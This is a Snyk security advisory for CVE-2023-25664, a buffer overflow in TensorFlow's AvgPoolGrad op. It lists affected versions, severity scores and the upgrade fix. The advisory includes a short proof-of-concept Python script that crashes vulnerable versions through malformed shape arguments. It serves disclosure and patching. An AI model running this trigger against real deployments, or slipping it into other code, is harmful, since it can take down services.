Buffer Overflow Affecting tensorflow package, versions [,2.11.1) [2.12.0rc0,2.12.0)
Snyk CVSS
Attack Complexity
Low
Availability
High
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.07% (30th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PYTHON-TENSORFLOW-3373023
- published 26 Mar 2023
- disclosed 26 Mar 2023
- credit evn@google.com
Introduced: 26 Mar 2023
CVE-2023-25664 Open this link in a new tabHow to fix?
Upgrade tensorflow to version 2.11.1, 2.12.0 or higher.
Overview
tensorflow is a machine learning framework.
Affected versions of this package are vulnerable to Buffer Overflow in TAvgPoolGrad.
PoC
import os
os.environ['TF_ENABLE_ONEDNN_OPTS'] = '0'
import tensorflow as tf
print(tf.__version__)
with tf.device("CPU"):
ksize = [1, 40, 128, 1]
strides = [1, 128, 128, 30]
padding = "SAME"
data_format = "NHWC"
orig_input_shape = [11, 9, 78, 9]
grad = tf.saturate_cast(tf.random.uniform([16, 16, 16, 16], minval=-128, maxval=129, dtype=tf.int64), dtype=tf.float32)
res = tf.raw_ops.AvgPoolGrad(
ksize=ksize,
strides=strides,
padding=padding,
data_format=data_format,
orig_input_shape=orig_input_shape,
grad=grad,
)